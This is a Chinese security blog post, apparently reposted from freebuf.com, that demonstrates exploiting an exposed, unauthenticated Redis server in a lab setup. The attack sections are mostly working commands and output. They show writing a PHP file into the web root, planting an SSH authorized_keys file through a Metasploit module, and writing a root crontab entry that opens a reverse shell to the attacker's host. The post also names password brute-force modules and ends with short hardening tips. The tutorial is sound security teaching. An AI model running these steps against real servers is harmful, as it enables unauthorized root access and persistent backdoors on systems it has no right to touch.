利用 redis 提权与防范
本文采写目的仅作为信息安全学习与交流之用,凡经由传播或利用此文提供之信息所造成的任何直接或间接后果及损失,均由使用者本人负责
当下 redis 已经成为业界最流行的 KV 类型数据库,为企业提供高速缓存、 消息队列服务;被部署在企业 IT架构最重要的的位置。
以上数据来自 https://db-engines.com/en/ranking
漏洞介绍
作为使用最广泛的 KV 数据库,对 redis 的不恰当的配置,如绑定在 0.0.0.0:6379,将会导致 redis 服务暴露在公网上,如果在没有开启认证的情况下,可以导致做生意用户在可以访问目标服务器的情况下未授权访问 redis 以及读取 redis 的数据。
最严重的情况下,攻击者可以在未授权访问 redis 的情况下直接在服务器上写入 ssh 公钥,从而直接无密码登录服务器。
环境
-
目标机 redhat6 – 192.168.153.146
-
攻击机 kali2020 – 192.168.153.136
渗透目标
攻击机连接目标机redhat6,实现高权限访问
目标机环境
目标服务器启动以下服务
-
apache
-
redis
基本配置
# 安装 apache
[root@x ~]# yum install httpd
[root@x ~]# /etc/init.d/httpd start
[root@x ~]#
[root@x ~]#
[root@x html]# cd /var/www/html/
[root@x html]# touch index.html
[root@x html]# echo "<h1>hello redhat6</h1>" >> index.html
# 安装与配置 redis
# 下载 redis
[root@x ~]# wget http://download.redis.io/releases/redis-3.2.11.tar.gz
[root@x ~]# tar xzf redis-3.2.11.tar.gz
# 编译 redis
[root@x ~]# cd redis-3.2.11
[root@x ~]# make
[root@x redis-3.2.11]# cp src/redis-server src/redis-cli /usr/bin
[root@x redis-3.2.11]# cp redis-conf /etc/
[root@x redis-3.2.11]# vim /etc/redis.conf
# 127.0.0.1 # 注释掉些处,侦听所有地址
protected-mode no # 禁用保护
# 清除系统设置, 减少对漏洞复现的影响
[root@x redis-3.2.11]# iptables -F
[root@x redis-3.2.11]# setenforce 0
# 启动 redis
[root@x redis-3.2.11]# redis-server /etc/redis.conf
管理员为了方便,比如在配置 redis 的 sentinel 集群时,为了方便关闭了保护模式,即上面的配置项protected-mode no
,就不小心引入了安全问题
查看运行状态
启动 http
渗透测试
因为管理员的配置不当,导致的多种漏洞利用攻击方式
-
利用方式一:直接写 webshell
-
利用方式二:直接写 ssh 公钥
-
利用方式三:计划任务后门
方式一:直接写 webshell
03:02:40 kali@kali ~ → redis
redis-benchmark redis-check-aof redis-check-rdb redis-cli redis-server
03:02:40 kali@kali ~ → redis-cli -h 192.168.153.146
192.168.153.146:6379>
192.168.153.146:6379>
192.168.153.146:6379>
192.168.153.146:6379> keys *
(empty array)
192.168.153.146:6379> config set dbfilename phpinfo.php
OK
192.168.153.146:6379> CONFIG GET dir "/var/www/html"
(error) ERR Wrong number of arguments for CONFIG GET
192.168.153.146:6379>
192.168.153.146:6379> CONFIG SET dir "/var/www/html"
OK
192.168.153.146:6379> set phpinfo "\n\n <?php phpinfo();?> \n\n" NX
OK
192.168.153.146:6379> SAVE
OK
192.168.153.146:6379>
验证
方式二:直接写 ssh 公钥
利用了 msf 的辅助模块,直接上传 ssh 公钥
# 流程
04:00:21 root@kali ~ → msfconsole
msf5 > search redis
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/ibm_bigfix_sites_packages_enum 2019-03-18 normal No IBM BigFix Relay Server Sites and Package Enum
1 auxiliary/scanner/redis/file_upload 2015-11-11 normal No Redis File Upload
2 auxiliary/scanner/redis/redis_login normal No Redis Login Utility
3 auxiliary/scanner/redis/redis_server normal No Redis Command Execute Scanner
4 exploit/linux/redis/redis_replication_cmd_exec 2018-11-13 good Yes Redis Replication Code Execution
5 exploit/windows/browser/ie_createobject 2006-04-11 excellent No MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution
6 exploit/windows/browser/ms07_017_ani_loadimage_chunksize 2007-03-28 great No Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
7 exploit/windows/browser/webex_ucf_newobject 2008-08-06 good No WebEx UCFatucfobj.dll ActiveX NewObject Method Buffer Overflow
8 exploit/windows/email/ms07_017_ani_loadimage_chunksize 2007-03-28 great No Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)
msf5 > use 1
msf5 auxiliary(scanner/redis/file_upload) > set rhosts 192.168.153.146
rhosts => 192.168.153.146
msf5 auxiliary(scanner/redis/file_upload) > set localfile /root/.ssh/authorized_keys
localfile => /root/.ssh/authorized_keys
msf5 auxiliary(scanner/redis/file_upload) > set remotefile /root/.ssh/authorized_keys
remotefile => /root/.ssh/authorized_keys
msf5 auxiliary(scanner/redis/file_upload) > options
Module options (auxiliary/scanner/redis/file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
DISABLE_RDBCOMPRESSION true yes Disable compression when saving if found tobe enabled
FLUSHALL false yes Run flushall to remove all redis data before saving
LocalFile /root/.ssh/authorized_keys no Local file to be uploaded
PASSWORD foobared no Redis password for authentication test
RHOSTS 192.168.153.146 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6379 yes The target port (TCP)
RemoteFile /root/.ssh/authorized_keys no Remote file path
THREADS 1 yes The number of concurrent threads (max one per host)
msf5 auxiliary(scanner/redis/file_upload) > run
[+] 192.168.153.146:6379 - 192.168.153.146:6379 -- saved 564 bytes inside of redis DB at /root/.ssh/authorized_keys
[*] 192.168.153.146:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/redis/file_upload) >
验证
直接 ssh 登录
其实,msf 还集成了不同功能的辅助模块,在目标机防护脆弱的情况下,可以很方便的利用模块进行攻击。
如,对目标机 redis 的弱口令攻击,可以对 redis 的密码进行枚举
auxiliary/scanner/redis/redis_login
再如,对取得的 redis 密码进行验证。
use auxiliary/scanner/redis/redis_server
感兴趣的朋友,可以尝试一下。
方式三:计划任务后门
流程
-
连接目标服务器
-
写计划任务
-
开启侦听
04:31:51 root@kali ~ → redis-cli -h 192.168.153.146
192.168.153.146:6379> set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.153.136/1122 0>&1\n\n\n\n"
OK
192.168.153.146:6379> CONFIG SET dir /etc/
OK
192.168.153.146:6379> CONFIG set dbfilename crontab
OK
192.168.153.146:6379> save
OK
192.168.153.146:6379>
本机开启侦听
防护建议
-
以低权限运行 redis 服务
-
redis 启用严格的密码认证
-
禁止外网访问 redis 服务
参考
https://db-engines.com/en/ranking
https://help.aliyun.com/knowledge_detail/37447.html
深圳德慎思信息安全
专为金融、政府及企事业单位提供红队实战的安全测评服务,德慎思立足深圳放眼世界,紧抓中华民族复兴机遇,以科创为民的精神替中国在人类历史长河中的光辉一页贡献自身卓越技能。
来源:freebuf.com 2020-11-24 15:25:28 by: 德慎思信息安全
请登录后发表评论
注册